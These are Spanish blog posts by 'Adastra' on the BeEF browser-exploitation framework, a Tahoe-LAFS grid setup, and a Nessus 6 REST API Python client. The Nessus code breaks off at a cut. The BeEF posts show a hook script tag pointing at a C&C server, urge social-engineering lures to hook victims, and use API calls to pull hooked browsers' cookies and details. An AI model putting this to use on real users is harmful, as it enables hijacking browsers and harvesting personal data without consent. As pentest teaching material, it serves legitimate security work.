Pentesting automatizado con Beef. Características avanzadas – Parte 2
En el artículo anterior hablaba sobre el proceso de instalación de BeEF y cómo invocar a algunos de los endpoints definidos en su API Rest utilizando cURL y en esta ocasión, voy a explicar cómo utilizar algunas características avanzadas del framework y en el próximo artículo, hablaré sobre cómo utilizar BeEF desde cualquier script en Python.
Ejecutar módulos de forma automática.
Si el panel de control central consigue que muchos usuarios ejecuten el hook en sus navegadores, será una labor bastante tediosa e ineficiente tener que ejecutar los módulos contra cada uno de los objetivos de forma manual. Afortunadamente, los módulos que se encuentran creados en BeEF y los que se pueden crear de forma independiente, deben incluir un fichero de configuración para controlar el comportamiento de dicho módulo, de esta forma, es posible marcar aquellos módulos que resulten interesantes para que se ejecuten de forma automática contra cada nueva víctima, ahorrando mucho tiempo y evitando la necesidad de estar permanentemente pendiente de que se conecten nuevas víctimas y lanzar manualmente los módulos necesarios.
Habilitar esta característica es muy sencillo, solamente hace falta editar el fichero de configuración maestro que se encuentra ubicado en “<BEEF_INSTALL>/config.yaml” y modificar la sección correspondiente a “autorun”
| # Autorun modules as soon the browser is hooked.
# NOTE: only modules with target type ‘working’ or ‘user_notify’ can be run automatically. autorun: enable: true allow_user_notify: true |
El “autorun” se encuentra habilitado por defecto en el fichero de configuración maestro de la herramienta, sin embargo es necesario activar aquellos módulos que se desea ejecutar cuando se reciba un nuevo zombie, para ello es necesario editar el fichero de configuración “config.yaml” de cada uno de los módulos que se desee activar e incluir la flag “autorun: true”. Todos los módulos de la herramienta se encuentran disponibles en el directorio “<BEEF_INSTALL>/modules” y allí se podrán ver cada uno de los módulos disponibles desde el panel de control de la herramienta. Dentro de cada módulo existe un fichero de configuración llamado “config.yaml”, el cual típicamente contiene una única sección que es “beef” y con una única subsección llamada “module”, en ella se definen todos los detalles de configuración del módulo, incluyendo su nombre, categoría, si se encuentra habilitado o no, entre otros detalles. Este fichero sigue una sintaxis muy similar a los módulos que se encuentran disponibles en Metasploit Framework, ya que es completamente configurable e incluye detalles informativos sobre el funcionamiento del módulo. En este caso, para que un módulo cuyo atributo “target” sea “working” o “user_notify” se pueda lanzar de manera automática ante la conexión de un nuevo zombie, basta con establecer el atributo “autorun” con el valor “true”. El siguiente es un ejemplo del módulo “play_sound” que se encarga de lanzar un zumbido (un poco molesto) en la víctima conectada.
| beef:
module: Play_sound: enable: true category: “Browser” name: “Play Sound” description: “Play a sound on the hooked browser.” authors: [“Saafan”] autorun: true target: working: [“All”] |
En este caso hay que tener en cuenta que esta característica lo que hace es lanzar todos los módulos que se han marcado con la flag “autorun” contra todas las víctimas que se van conectando, algo que no es deseado en todos los casos, ya que algunos módulos son específicos para un navegador concreto y a veces es mucho mejor poder crear una rutina que permita lanzar un módulo u otro dependiendo de las características del navegador de la víctima. Esto es justo lo que se podría hacer con la API Rest de BeEF y Python, como se verá más adelante.
Extensiones en BeEF
Además de los módulos que permiten ejecutar rutinas en el entorno de la víctima, otra característica muy interesante de BeEF es la posibilidad de ejecutar extensiones que permitirán activar ciertas características en el lado servidor de BeEF. Actualmente existen algunas muy interesantes que permiten integrar otras herramientas de pentesting habituales con BeEF, como es el caso de Metasploit Framework o SET. Para habilitar cualquier extensión disponible en la herramienta o una creada por terceros, se debe editar el fichero de configuración maestro (config.yaml) y habilitar todas las extensiones deseadas en la sección “extension” por ejemplo:
| extension:
metasploit: enable: false console: shell: enable: true |
En este caso solamente se habilitan las extensiones de metasploit y la shell de BeEF para trabajar con la herramienta desde línea de comandos en lugar de hacerlo desde la interfaz web.
Para utilizar la extensión de Metasploit, es necesario cargar el modulo “msgrpc” desde “msfconsole” o ejecutar la utilidad “msfrpcd” de Metasploit Framework. En cualquiera de los dos casos, se conseguirá levantar un servicio que permitirá la interacción de forma programática con Metasploit Framework con aplicaciones externas, como es el caso de BeEF.
La siguiente imagen enseña cómo se puede cargar el módulo “msgrpc” desde “msfconsole”
Cargando el módulo msgrpc
Ahora que el fichero de configuración maestro ya se encuentra preparado para soportar al extensión de metasploit framework y el servicio MSGRPC se encuentra levantado, es el momento de configurar la extensión e indicar los detalles de conexión con el servidor. Para ello se debe editar el fichero de configuración de la extensión de metasploit, el cual se encuentra ubicado en la siguiente ruta “<BEFF_INSTALL>/extensions/metasploit”. Allí se deben incluir como mínimo, las propiedades que permiten establecer una conexión con el servicio MSGRPC.
Ahora, es el momento de arrancar BeEF y para ello, se puede utilizar la opción “-v” y ver el detalle de las operaciones realiza la herramienta. Como se puede ver en la siguiente imagen.
Conexión entre Beef y Metasploit
Después de esto, los módulos de metasploit framework quedarán registrados en el panel de control de BeEF como si se tratara de cualquier otro módulo de la herramienta. Evidentemente, algunos de dichos módulos requieren una preparación previa y establecer ciertos valores de configuración, pero desde BeEF se puede hacer utilizando un asistente muy simple.
Módulos de metasploit framework en BeEF
Otra extensión muy interesante es la extensión “console”, la cual permite sustituir el panel de control web por una interfaz por línea de comandos para controlar todos los zombies y realizar otras actividades, del mismo modo que se puede hacer con la utilidad msfconsole de metasploit framework. Para activar esta extensión, la cual viene desactivada por defecto, se debe editar el fichero de configuración principal (config.yaml) y en la sección de extensiones incluir lo siguiente:
|
console: shell: enable: false |
Ahora, cuando se arranque la herramienta, en lugar de ver un mensaje indicando que se ha iniciado un servidor web para la gestión de los zombies, se podrá ver un interprete desde el cual se podrán ejecutar comandos.
Consola de BeEF
Desde esta consola se pueden ejecutar varios comandos, los cuales se pueden consultar con el comando “help”, dichos comandos permiten cumplir con exactamente las mismas funciones que se pueden llevar a cabo desde la interfaz web
Comandos disponibles en la consola de BeEF.
Existen otros módulos y extensiones que actualmente se encuentran en desarrollo y que probablemente estarán disponibles en los próximos meses, con lo cual se espera que poco a poco, su uso sea mucho más difundido y alcance los niveles de popularidad de otras herramientas de pentesting y hacking similares.
Saludos y Happy Hack!
Adastra.
Tahoe-LAFS. Creación y configuración de grids – Parte 2
En el primer articulo he hablado sobre el funcionamiento de Tahoe-LAFS y los motivos por los que resulta mucho más interesante utilizar un sistema descentralizado de este tipo en la nube, que uno de los servicios convencionales con los problemas que implica. Tahoe es un sistema de almacenamiento distribuido que se puede montar en un segmento de red local o incluso directamente en Internet siendo muy fácil de configurar y bastante estable. Tal como explicaba en el primer artículo, los clientes de un “grid” pueden subir ficheros y directorios de forma privada y segura, ya que los servidores de almacenamiento del sistema no tienen la capacidad de leer y/o escribir sobre dichos ficheros, solamente se limitan a almacenarlos y compartirlos en el caso de que se encuentren configurados para hacerlo. En Tahoe es posible crear varios tipos de nodos que tienen un funcionamiento muy concreto, es así como se pueden crear nodos cliente, servidor, introducers, servidores de estadísticas y generadores de claves. Desde luego, los nodos cliente, servidor y los introducers son los más interesantes desde el punto de vista funcional, ya que permiten crear un grid sobre el que se pueden subir documentos.
En el primer artículo se explicaba en qué consistía Tahoe, cómo instalarlo y crear un cliente básico, el cual se conectaba a un grid por medio de un introducer que se encuentra disponible en el proyecto para que los usuarios interesados puedan llevar a cabo pruebas contra un sistema en funcionamiento. Dicho introducer se encuentra disponible en internet a cualquiera que desee conectar sus nodos clientes de Tahoe con el sistema de pruebas del proyecto, las instrucciones para conectarse a dicho servicio se encuentra detalladas en el siguiente enlace: https://tahoe-lafs.org/trac/tahoe-lafs/wiki/TestGrid.
Para realizar pruebas está bastante bien, sin embargo es mucho más interesante crear un grid propio y configurarlo de tal forma que sea posible utilizar Tahoe de forma privada y confidencial con otros usuarios en Internet. Para conseguir esto, es necesario crear en primer lugar un “introducer”, el cual como ya se ha explicado antes, es el encargado de conectar al cliente con el sistema de grid, el cual se compone de 1 o muchos servidores de almacenamiento. A continuación se explica el procedimiento para crear un introducer ejecutando la utilidad “tahoe”.
En primer lugar, es necesario crear un directorio en el que se deberán crear los ficheros de configuración del introducer, una vez creado dicho directorio, es necesario ubicarse en él y ejecutar el siguiente comando.
| >tahoe create-introducer /adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducerIntroducer created in ‘/adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducer’ |
Después de crear el introducer, todos los ficheros y la configuración necesaria para que el nodo funcione correctamente, se habrá desplegado en el directorio especificado. En dicho directorio, se ha tenido que crear un subdirectorio llamado “private” el cual contendrá un fichero con nombre “introducer.furl” el cual contiene la dirección del introducer que debe ser utilizada por otros usuarios para que puedan conectarse al sistema de grid.
A continuación, se puede iniciar el nodo ejecutando el comando “tahoe” con el argumento “start”
| >tahoe start /adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducerSTARTING ‘/adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducer’
starting node in ‘/adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducer’ |
Ahora que el introducer se encuentra iniciado, es el momento de probar si su funcionamiento es correcto, para ello se debe utilizar un nodo cliente de Tahoe y conectarlo con el introducer. Esto ya se ha visto en el artículo anterior, así que partiendo del cliente creado en dicho artículo, basta simplemente con editar el fichero de configuración del nodo (tahoe.cfg) y modificar la propiedad “introducer.furl” que se encuentra en la sección “[client]”. El valor que debe asumir dicha propiedad debe ser el mismo que se ha generado a la hora de crear el introducer y que se encuentra contenido en el fichero “<INTRODUCER_DIR>/private/introducer.furl”.
Una vez el cliente apunta al introducer, se procede a arrancar.
| >tahoe run ~/.tahoe/ STARTING ‘/home/adastra/.tahoe’
running node in ‘/home/adastra/.tahoe’ 2015-06-28 21:38:53+0200 [-] Log opened. 2015-06-28 21:38:53+0200 [-] twistd 13.2.0 (/usr/bin/python 2.7.6) starting up. 2015-06-28 21:38:53+0200 [-] reactor class: twisted.internet.epollreactor.EPollReactor. 2015-06-28 21:38:53+0200 [-] Listener starting on 37384 2015-06-28 21:38:53+0200 [-] NevowSite starting on 3456 2015-06-28 21:38:53+0200 [-] Starting factory <nevow.appserver.NevowSite instance at 0x7f81a2bf2440> 2015-06-28 21:38:53+0200 [-] My pid: 11224 2015-06-28 21:38:53+0200 [-] DatagramProtocol starting on 38362 2015-06-28 21:38:53+0200 [-] Starting protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f81a2c03a28> 2015-06-28 21:38:53+0200 [-] (UDP Port 38362 Closed) 2015-06-28 21:38:53+0200 [-] Stopping protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f81a2c03a28> |
Ahora que el cliente ha iniciado correctamente, se puede verificar si se encuentra conectado con el introducer creado previamente, para ello basta con ingresar a la consola web del nodo, la cual se encuentra levantada en el puerto 3456.
Cliente de Tahoe conectado a un Introducer.
Finalmente, se puede detener el introducer ejecutando el comando “tahoe” con el argumento “stop”
| >tahoe stop /adastraData/AdastraRealm/Hacking/networkHacking/AdastraIntroducerSTOPPING ‘/adastraData/AdastraRealm/Hacking/networkHacking/allmydata-tahoe-1.10.1/AdastraIntroducer’
process 11081 is dead |
Ahora bien, hasta este punto solamente se ha creado un introducer y se ha podido verificar que un cliente en Tahoe puede conectarse y subir/descargar documentos, sin embargo, tal como se podía apreciar en la imagen anterior, en el sistema de grid no existe ningún servidor de almacenamiento conectado, lo que significa que el sistema no funcionará correctamente cuando un cliente intente subir documentos.
Un sistema de grid no tiene ningún sentido si no existen uno o varios servidores de almacenamiento y para crear uno, nuevamente es necesario modificar el fichero de configuración de Tahoe e indicar que la instancia que utilice dicho fichero funcionará como un servidor de almacenamiento. Como se ha mencionado antes, los servidores de almacenamiento no tienen la capacidad de acceder a los ficheros que se suben a su espacio de almacenamiento, ya que se encuentran cifrados y solamente el cliente con la clave adecuada puede llegar a ellos. En este sentido, se trata de un “Data Store” cifrado, un concepto que es bastante utilizado en redes anónimas que siguen un modelo de compartición distribuido y privado, como es el caso de Freenet.
Para que una instancia de Tahoe pueda funcionar como un servidor de almacenamiento, se debe editar el fichero de configuración de dicha instancia (tahoe.cfg) y establecer las propiedades de dicho servidor en la sección “storage”, además, la propiedad “enabled” tiene que tener el valor “true” para que dicha instancia funcione como un servidor de almacenamiento.
| [storage]# Shall this node provide storage service?
enabled = true readonly = false reserved_space = 1G |
A continuación, dicha instancia de Tahoe debe vincularse con el introducer tal como se ha visto anteriormente, para ello se debe indicar el valor adecuado en la propiedad “introducer.furl”.
Finalmente, se ejecuta el servidor de almacenamiento como ocurre con cualquier instancia de Tahoe, utilizando el comando “run”
| >tahoe run /server/tahoe/STARTING ‘/server/tahoe’
running node in ‘/server/.tahoe’ 2015-07-12 19:52:55+0200 [-] Log opened. 2015-07-12 19:52:55+0200 [-] twistd 15.2.1 (/usr/bin/python 2.7.6) starting up. 2015-07-12 19:52:55+0200 [-] reactor class: twisted.internet.epollreactor.EPollReactor. 2015-07-12 19:52:55+0200 [-] Listener starting on 37384 2015-07-12 19:52:55+0200 [-] NevowSite starting on 3456 2015-07-12 19:52:55+0200 [-] Starting factory <nevow.appserver.NevowSite instance at 0x7f5e31f24cb0> 2015-07-12 19:52:55+0200 [-] My pid: 14783 2015-07-12 19:52:55+0200 [-] DatagramProtocol starting on 37926 2015-07-12 19:52:55+0200 [-] Starting protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f5e31ed04d0> 2015-07-12 19:52:55+0200 [-] (UDP Port 37926 Closed) 2015-07-12 19:52:55+0200 [-] Stopping protocol <twisted.internet.protocol.DatagramProtocol instance at 0x7f5e31ed04d0> |
Ahora el servidor de almacenamiento se debe encontrar vinculado con el introducer y con esto será suficiente para que los clientes puedan subir ficheros en la nube.
Registro del storage server
Como se puede apreciar, el sistema de grid ahora cuenta con un servidor de almacenamiento, sin embargo serán necesario más servidores para que se puedan subir documentos y ficheros sin dificultades, es decir, contar con una red real de servidores distribuidos para el almacenamiento de ficheros y documentos.
Saludos y Happy Hack!
Adastra.
Pentesting automatizado con Beef y su API Rest – Parte 1
Beef (The Browser Exploitation Framework) ha tenido una evolución bastante interesante en los últimos años y se han añadido mejoras que le convierten en una herramienta que se debe tener en cuenta a la hora de realizar pruebas de penetración u otras actividades relacionadas con el hacking. Se trata de un framework del que ya he hablado hace algún tiempo en varias entradas en las que comentaba cómo automatizar ataques XSS con Beef y cómo integrar Beef con Metasploit Framework. El proceso de instalación y otros detalles de la herramienta han cambiado un poco desde aquel entonces y por ese motivo, me he animado a escribir un parde artículos en los que voy a explicar cómo instalar la última versión de Beef, consumir la API Rest que se encuentra disponible en el Framework para automatizar tareas y otras características interesantes.
Instalando Beef
Beef se encuentra desarrollado en Ruby, con lo cual es necesario contar con el interprete de Ruby instalado en el sistema. En mi experiencia, suele ser un poco complicado trabajar con herramientas como Beef y Metasploit Framework cuando se utilizan diferentes versiones de Ruby, por ese motivo siempre es recomendable utilizar RVM (Ruby Version Manager) para poder activar y gestionar varias versiones de Ruby sobre el mismo sistema. Puedes echarle un vistazo al sitio web oficial del proyecto (https://rvm.io/) veras que te va a facilitar las cosas y te va a ahorrar mucho tiempo.
Dicho esto, el primer paso para instalar Beef consiste en descargar la última versión del proyecto que se encuentra disponible en su repositorio Github.
| >git clone https://github.com/beefproject/beef.git beef-lastest
>cd beef-lastest Fetching: bundler-1.10.5.gem (100%) Successfully installed bundler-1.10.5 Parsing documentation for bundler-1.10.5 Installing ri documentation for bundler-1.10.5 Done installing documentation for bundler after 3 seconds 1 gem installed >bundle install >./beef |
Ejecutando Beef
Si estas utilizando RVM, debes activar un entorno de Ruby que se encuentre instalado en RVM, para ello basta con ejecutar el siguiente comando
| >source <HOME_USER>/.rvm/scripts/rvm |
Como se puede apreciar, se han levantado algunos servicios y se ha vinculado el puerto 3000 para interactuar con el panel de control. Además, vemos que se ha generado una API Key para interactuar con los servicios Rest de la plataforma, esto será útil posteriormente para automatizar el uso de Beef. Por otro lado, cuando se intenta acceder a la página principal de Beef, se solicita un nombre de usuario y una contraseña, los cuales por defecto son “beef”/“beef”. Todos estos detalles se pueden cambiar muy fácilmente editando el fichero <BEEF_INSTALL>/config.yaml
Funcionamiento de Beef
Beef, a diferencia de otras herramientas de pentesting web, se centra en el contexto de los clientes y utilizando un hook en Javascript, permite crear una red de bots que pueden ser controlados desde un panel de control central. Basta con que un usuario navegue por un sitio web que contenga dicho hook para que automáticamente haga parte de esa red de bots. Hay que tener en cuenta que dicho hook no explota ninguna vulnerabilidad 0day sobre los navegadores web o cosas similares, sino que simplemente incluye varias rutinas desarrolladas en Javascript que realizan peticiones contra el panel de control de Beef y desde dicho panel de control, se pueden enviar instrucciones al hook para que realice tareas sobre el entorno (navegador web) de la víctima, de esta forma es posible acceder a información básica del navegador web, activar o desactivar plugins y extensiones o incluso forzar la navegación hacia sitios web arbitrarios, obviamente sin la debida autorización por parte de la víctima. La siguiente imagen enseña la arquitectura de Beef y como se puede ver, se compone por un servidor centrar del C&C y una serie de zombies que se encuentran “infectados” por el hook. Ahora bien, esta supuesta “infección” no es persistente ni mucho menos, ya que se trata simplemente de un fichero Javascript se ejecuta en el contexto de la página web visitada por la víctima, basta con cerrar dicha página web y problema resuelto.
Arquitectura de beef
La imagen anterior ha sido tomada del sitio web oficial de Beef y se puede apreciar perfectamente el funcionamiento de la herramienta que es simple y a su vez muy potente.
Cuando una víctima accede a una página web que contiene el hook y a menos que exista algún bloqueo de las peticiones HTTP entre el C&C de Beef y la víctima, aparecerá automáticamente en el panel de control un nuevo bot.
A partir de aquí, es el momento de establecer el vector de ataque. Debes crear una página web que incluya el script “hook.js” y evidentemente, entre mejor elaborado sea dicho vector, mejores resultados (+ víctimas) lograrás conseguir. Aquí entra en juego la creatividad y definir quien o quienes van a ser los objetivos del ataque, de tal forma que puedas ofrecer algo que tus víctimas potenciales puedan querer y les invite a entrar y permanecer en el sitio web que ejecuta el hook, aquí las técnicas de ingeniería social son vitales y ofrecer un servicio perfectamente “legitimo” como un juego online o algún servicio web concreto, puede ser lo suficientemente atractivo para la víctima como para que decida visitar el sitio y permanecer en él algún tiempo. Dicha página lo único que necesita tener es esto:
| <script src=”http://192.168.1.98:3000/hook.js” type=”text/javascript”></script> |
Así de fácil.
Cuando una víctima accede a la página web maliciosa, automáticamente se convierte en un bot del C&C de Beef, tal como se enseña en la siguiente imagen.
Automatización de Beef con su API Rest
Ahora viene la parte divertida, Beef cuenta con una API Rest que permite la automatización de tareas, algo que desde luego viene muy bien cuando se deben gestionar múltiples víctimas y resulta muy ineficiente (y tedioso) hacerlo desde la interfaz web. Su uso es bastante simple y como se ha visto en líneas anteriores, solamente es necesario contar con la API Key que genera la herramienta de forma automática cuando se levanta Beef. Con dicha API Key se pueden invocar los endpoints definidos en la API y de esta forma, obtener información del C&C de Beef en formato JSON. Para hacer pruebas simples se puede utilizar una herramienta con CURL o WGET y posteriormente, utilizar un lenguaje como Python o Ruby para crear rutinas que permitan invocar múltiples endpoints y hacer cosas mucho más interesantes.
Obtener el listado de víctimas
| >curl http://localhost:3000/api/hooks?token=4ecc590cb776484412492a7bd3f0ad03cd47660 {“hooked-browsers”:{“online”:{“0”:{“id”:1,”session”:”ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi”,”name”:”FF”,”version”:”38″,”os”:”Linux”,”platform”:”Linux x86_64″,”ip”:”192.168.1.98″,”domain”:”Unknown”,”port”:”0″,”page_uri”:”file:///home/adastra/Escritorio/testing.html”}},”offline”:{}}} |
Como se puede ver, aparecen los bots que salen en el panel de control de Beef y en este caso, cada “hooked-browser” puede encontrarse online u offline y cuenta con un identificador (atributo “session”) que puede ser utilizado para realizar consultas contra ese bot concreto como por ejemplo…
Recuperar los detalles del navegador web de un bot concreto
| >curl http://localhost:3000/api/hooks/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a {“BrowserLanguage”:”es-ES”,”BrowserName”:”FF”,”BrowserPlatform”:”Linux x86_64″,”BrowserPlugins”:”DivX® Web Player-v.,Google Talk Plugin-v.,Google Talk Plugin Video Renderer-v.,Java(TM) Plug-in 10.80.2-v.10.80.2,QuickTime Plug-in 7.6.6-v.,Shockwave Flash-v.11.2.202.468,VLC Multimedia Plugin (compatible Videos 3.10.1)-v.,Windows Media Player Plug-in 10 (compatible; Videos)-v.,iTunes Application Detector-v.”,”BrowserReportedName”:”Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0″,”BrowserType”:”{\”C19iOS\”:null,\”C20iOS\”:null,\”C21iOS\”:null,\”C22iOS\”:null,\”C23iOS\”:null,\”C24iOS\”:null,\”C25iOS\”:null,\”C26iOS\”:null,\”C27iOS\”:null,\”C28iOS\”:null,\”C29iOS\”:null,\”C30iOS\”:null,\”C31iOS\”:null,\”C32iOS\”:null,\”C33iOS\”:null,\”C34iOS\”:null,\”C35iOS\”:null,\”C36iOS\”:null,\”C37iOS\”:null,\”C38iOS\”:null,\”C39iOS\”:null,\”C40iOS\”:null,\”C41iOS\”:null,\”C42iOS\”:null,\”C\”:null,\”FF38\”:true,\”FF\”:true}”,”BrowserVersion”:”38″,”CPU”:”64-bit”,”Cookies”:”BEEFHOOK=ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi”,”DateStamp”:”Wed Jul 08 2015 22:02:28 GMT+0200 (CEST)”,”DefaultBrowser”:”Unknown”,”Hardware”:”Unknown”,”HasActiveX”:”No”,”HasFlash”:”Yes”,”HasGoogleGears”:”No”,”HasPhonegap”:”No”,”HasQuickTime”:”Yes”,”HasRealPlayer”:”No”,”HasWMP”:”Yes”,”HasWebRTC”:”Yes”,”HasWebSocket”:”Yes”,”HostName”:”Unknown”,”IP”:”192.168.1.98″,”OsName”:”Linux”,”PageReferrer”:”Unknown”,”PageTitle”:”Unknown”,”PageURI”:”file:///home/adastra/Escritorio/testing.html”,”ScreenSize”:”{\”width\”=>1920, \”height\”=>1080, \”colordepth\”=>24}”,”TouchEnabled”:”No”,”VBScriptEnabled”:”No”,”WindowSize”:”{\”width\”=>1865, \”height\”=>953}”,”hasPersistentCookies”:”Yes”,”hasSessionCookies”:”Yes”} |
En este caso, el valor “session” del bot nos permite acceder a todos los detalles del navegador web de la víctima, algo que puede ser utilizado para posteriormente ejecutar ataques dirigidos contra dicho bot.
Accediendo a los logs de un bot
| >curl http://localhost:3000/api/logs/ZHHT3vCTs9NRDvSmtoiWs0GfgjJYBNRctWlhx5aJKtwczH7klN6fmInMZi0K9hxirSZm56TRRD4OaqHi?token=4ecc590cb776484412492a7bd3f0ad03cd47660a {“logs_count”:42,”logs”:[{“id”:2,”date”:”2015-07-08T22:02:28+02:00″,”event”:”192.168.1.98 appears to have come back online”,”type”:”Zombie”},{“id”:3,”date”:”2015-07-08T22:02:28+02:00″,”event”:”192.168.1.98 just joined the horde from the domain: Unknown:0″,”type”:”Zombie”},{“id”:4,”date”:”2015-07-08T22:02:29+02:00″,”event”:”0.012s – [Focus] Browser window has regained focus.”,”type”:”Event”},……. |
También se puede acceder a los logs de que se han producido para un bot concreto, nuevamente partiendo del valor “session” del bot en cuestión.
Listando los módulos disponibles en Beef
| >curl http://localhost:3000/api/modules?token=4ecc590cb776484412492a7bd3f0ad03cd47660a
{“0”:{“id”:1,”class”:”Iframe_above”,”name”:”Create Foreground iFrame”,”category”:”Persistence”},”1″:{“id”:2,”class”:”Confirm_close_tab”,”name”:”Confirm Close Tab”,”category”:”Persistence”},”2″:{“id”:3,”class”:”Man_in_the_browser”,”name”:”Man-In-The-Browser”,”category”:”Persistence”},”3″:{“id”:4,”class”:”Popunder_window”,”name”:”Create Pop Under”, ……… |
Listar los módulos desde la API Rest no tiene mayores beneficios, ya que es lo mismo que se puede hacer desde el navegador web accediendo directamente al panel de administración, sin embargo si que es importante obtener el identificador de cada módulo para poder ejecutarlo contra uno o varios bots de forma programática, dicho identificador se puede obtener de la respuesta a la invocación del servicio anterior.
Existen muchos más endpoints en la API Rest de Beef que se encuentran documentados en el siguiente enlace: https://github.com/beefproject/beef/wiki/BeEF-RESTful-API y que nos permitirá acceder a todos los detalles de configuración del panel de Beef y controlar programáticamente todas las víctimas capturadas, algo que desde luego resulta muy interesante y que veremos en el próximo artículo utilizando Python.
Saludos y Happy Hack!
Adastra.
La API Rest de Nessus en su versión 6
Hace algunos meses que ha salido la versión 6 de Nessus, el popular escaner de vulnerabilidades diseñado y desarrollado por “Tenable network security” y la verdad es que llevaba tiempo sin trabajar con él, pero la semana pasada me escribió alguien comentando que la librería que desarrollé hace algunos meses (pynessus-rest) para interactuar programáticamente desde cualquier script en Python con Nessus, no le funcionaba correctamente. Pues bien, me puse a ver las trazas que me había enviado y me resultaron de lo más curiosas, ya que ni siquiera había conseguido obtener un token de autorización utilizando su cuenta de usuario. Pensé que a lo mejor se debía a un fallo en su instalación de Nessus o algo similar, así que me descargo e instalo la última versión de Nessus, escribo un script simple en el que solamente me autentico y creo una política y a continuación, cierro sesión para destruir el token creado anteriormente. 5 líneas de código, ni más ni menos. Pues bien, también me falla. Comienzo a revisar qué puede estar pasando y me llevo una “agradable” sorpresa al ver que la API Rest de Nessus 6.0 no es compatible hacia atrás con las demás versiones de Nessus.
Pues muy bien, es estupendo hacer cosas sobre un producto que no solamente no sigue sus propios estándares, sino que además no documenta adecuadamente los cambios que hace tras cada versión. La guía oficial a la fecha de redactar este artículo sigue siendo la correspondiente a la API Rest 5.0 (http://static.tenable.com/documentation/nessus_5.0_XMLRPC_protocol_guide.pdf) y por mucho que he buscado, no he encontrado esa misma guía para la nueva especificación, solamente comentarios en el foro de “Tenable” en el que mucha gente hace básicamente las mismas preguntas, ya que no hay una guía en la que se indique exactamente todos los detalles de los servicios REST de Nessus 6, tales como métodos HTTP soportados, parámetros, cabeceras, path de los servicios, descripción funcional detallada, etc. Lo más parecido a una documentación actualizada se encuentra en la propia interfaz de Nessus en la siguiente ruta: https://<NESSUS_SERVER>:8834/nessus6-api.html#/
Allí se explican todos los servicios que se encuentran actualmente disponibles en la versión 6 y como se puede ver, el path de los servicios en la versión 5.0 ha cambiado drásticamente en la versión 6.0. Así que si tenias algún script para automatizar alguna tarea utilizando la API Rest de Nessus en su versión 5.0, ya te puedes olvidar de que funcione en las nuevas versiones de Nessus. Ahora bien, es perfectamente comprensible que cada nueva versión de un programa incluya mejoras y nuevas características, cosas que hacen que el programa en cuestión evolucione y sea cada vez mejor, pero lo que siempre hay que tener en cuenta es que los usuarios esperan que las cosas que funcionaban en una versión, sigan funcionando correctamente en la siguiente (salvo error u omisión). Lo que se espera es que las interfaces o mecanismos de acceso sigan siendo los mismos, con el objetivo de que una posible migración sea lo más transparente posible. En el caso de la API Rest de Nessus, ninguno de los endpoints que estaban disponibles en la versión 5 de la API se encuentra disponibles en la versión 6, lo que obliga a todos los usuarios que actualicen Nessus a volver a implementar completamente todas rutinas automatizadas que tiren de la API.
Aunque con los nuevos cambios implementados en la versión actual de Nessus, la librería “pynessus-rest” queda deprecada, aun es posible seguir utilizando Python para realizar conexiones contra una instalación de Nessus y obtener información a partir de la API Rest de Nessus 6.
Para hacerlo, se puede utilizar cualquier librería para realizar peticiones HTTP, algo que abunda en Python. Por comodidad y simplicidad se puede utilizar “requests”.
Autenticación contra Nessus usando requests
Como se puede apreciar, es muy fácil conseguir un token de autenticación valido para interactuar con otros servicios de la API mucho más interesantes y en este caso concreto, lo único que ha cambiado entre la versión 6 y la versión 5 de la API es el endpoint, que ahora es “/session”. Si los cambios de todos los servicios fueran así de simples, no habría mayor problema, pero debido al rediseño que ha tenido el propio core Nessus en la versión actual, muchos de los servicios más utilizados como aquellos que permiten crear/editar políticas, gestionar escaneos y reportes, también han cambiado en la forma y estructura en la que devuelven información, con lo cual, una rutina de parseo del JSON de respuesta que antes funcionaba perfectamente en la versión 5 no va a funcionar para la versión 6. Es un limitante que impide la migración de scripts que esperan un formato y una estructura muy especifica para parsear la información que viene incluida en los JSON de respuestas. No obstante, en el caso de crear scripts desde cero, partiendo de la versión actual y con las reglas definidas en los servicios, realizar peticiones y procesar respuestas no es demasiado complicado y como siempre, se debe partir de un token valido para invocar a servicios que requieren autenticación para ser invocados, algo que ya se ha visto en la imagen anterior. El siguiente script enseña cómo utilizar las principales funciones en “pynessus-rest” adaptándolas un poco a los nuevos servicios disponibles en la versión 6.
import requests
import json
class NessusClient():
def __init__(self, nessusServer, nessusPort,
validateCert=False,initialSeqNumber=1):
self.nessusServer = nessusServer
self.nessusPort = nessusPort
self.url='https://'+str(nessusServer)+':'+str(nessusPort)
self.token = None
self.headers = {}
self.bodyRequest = {}
self.seqNumber = initialSeqNumber
self.validateCert = validateCert
def constructParamsAndHeaders(self,
headers={}, params={}, jsonFormat=True):
if jsonFormat:
self.body = {'seq' : self.seqNumber,
'json' : '1'}
else:
self.body = {'seq' : self.seqNumber,
'json' : '0'}
if self.token is not None:
#No authentication needed.
self.headers={'Host': str(self.nessusServer)+':'+str(self.nessusPort), 'Content-type':'application/x-www-form-urlencoded',
'X-Cookie':'token='+self.token,'seq':self.seqNumber}
else:
self.headers={'Host':str(self.nessusServer)+':'+str(self.nessusPort),
'Content-type':'application/x-www-form-urlencoded'}
self.body.update(params)
self.headers.update(headers)
print self.headers
def requestNessus(self, url, method="POST"):
'''
Perform a request to Nessus server using the data and headers received by parameter.
This function automatically increments the sequence identifier for Nessus requests.
'''
if method == "GET":
response = requests.get(url,
data=self.body, headers=self.headers, verify=self.validateCert)
else:
response = requests.post(url,
data=self.body, headers=self.headers, verify=self.validateCert)
self.seqNumber += 1
try:
return json.loads(response.content)
except ValueError:
return response.content
def call(self, service, params={},
jsonFormat=True, method="GET"): self.constructParamsAndHeaders(params=params,
jsonFormat=jsonFormat)
content =self.requestNessus(self.url+service, method=method)
return content
def login(self, nessusUser, nessusPassword,
jsonFormat=True):
'''
